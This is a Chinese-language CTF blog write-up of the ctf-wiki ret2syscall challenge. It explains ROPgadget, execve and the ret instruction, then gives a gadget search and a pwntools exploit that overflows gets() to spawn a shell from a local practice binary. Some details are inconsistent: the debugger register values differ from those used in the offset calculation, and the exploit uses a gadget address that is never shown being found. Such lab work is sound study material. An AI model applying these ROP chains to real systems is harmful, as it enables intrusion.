Featured image of post ctfWiki Rop

ctfWiki Rop

通过栈溢出使用函数获得 execve 系统调用以取得 shell。
主要和上一个 ret2text 一样获得偏移量然后就是找 gadgets 写 payload。

前置知识

ROPgadget

gadget 原意是小玩意儿,就是当我们没办法获得比如像 system("/bin/sh") 的时候,我们去找一些汇编代码片段通过 ret 进行组合出我们想要的命令。
ROPgadget 是 pwntools 的一个用于获得 gadget 以用来生成 ROP 链的工具。下面简单介绍下几个参数:

  1. 加载二进制文件 –binary
1
ROPgadget --binary ./rop
  1. 自动生成 ROP 链 –ropchain
1
ROPgadget --binary ./rop --ropchain

生成的 ROP 链有地址,一般是拿地址加在攻击载荷上。
3. 显示特殊的指令 –only

1
ROPgadget --binary rop  --only 'pop|ret'

这里获得带 pop 和 ret 的 ROP 链。
4. 在可读段寻找字符串 –string

1
ROPgadget --binary rop --string '/bin/sh'

execve 系统调用

execve 可以用于执行新程序,比如 shell 。

1
2
int execve(const char *path, char *const _Nullable argv[],
           char *const _Nullable envp[]);

第一个参数的新程序的地址,第二个参数给新程序传参,第三个参数指定新程序的环境。
根据 x86 的 cdecl 调用约定,函数参数是从右到左入栈的,所以最开始应该先把第三个参数入栈以进行 ROP 攻击。

ret 助记符

ret 助记符等价于 pop eip 从栈顶取出 4 字节的地址放入 eip。 CPU 永远执行 eip 指向的指令。 每一次 ret 指令都是一次出栈取地址->修改 eip->执行对应代码的操作。
寻找的 ROP 在最后一般都带有 ret 为了执行对应的操作。

pwn

拿到程序先 checksec:

1
2
3
4
5
6
7
8
9
❯ pwn checksec --file=rop
[*] '/data/Hack/ret2syscall/rop'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

32 位,只开启了 NX 保护。
进入 IDA pro 反汇编。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

main 函数有 gets() 可以用栈溢出。
首先分析偏移量,查看汇编看到 esp+1Ch

可以得到 v4 相对 ebp 的偏移量为: ebp-esp-0x1c。
通过 pwndbg 在 call gets 地址处打断点可以得到此时的 ebp 和 esp:

1
2
 EBP  0xffffcbb8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
 ESP  0xffffcb30 —▸ 0xffffcb4c ◂— 3

上 python 计算:

1
2
3
4
>>> ebp = 0xffffcbc8
>>> esp = 0xffffcb40
>>> hex(ebp-esp-0x1c)
'0x6c'

这里填满了缓冲区,再加 4 字节覆盖 ebp 就可以进行攻击了。
而后就是寻找片段。
我们大致需要如下汇编(伪汇编):

1
2
3
4
5
mov eax 0xb
mov ebx '/bin/sh'
mov ecx 0
mov edx 0
int 0x80

打开 ROPgadget 寻找片段。

  1. 寻找 pop 、ret、eax 的片段:
1
2
3
4
5
6
❯ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

我们取 pop eax;ret 的地址 0x080bb196,在 exp 添加变量保存该地址。
2. 同理,寻找带 ebx ecx edx 的片段:

1
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

找到这个刚刚好:

1
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
  1. 寻找 int 0x80
1
2
3
4
5
❯ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf
  1. 寻找 /bin/sh 字符串
1
2
3
4
❯ ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

万事具备,上 exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python

from pwn import *

sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int0x80 = 0x08049421
binsh = 0x080be408
payload = b'a' * (0x6c+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int0x80)
sh.sendline(payload)
sh.interactive()

只要处理好从右向左入栈就好了。

参考资料

  1. PWN 入門 - rop, gadget 是什麼?
  2. ctf-wiki 基本 ROP ret2syscall
  3. Github JonathanSalwan/ROPgadget
萌ICP备20241614号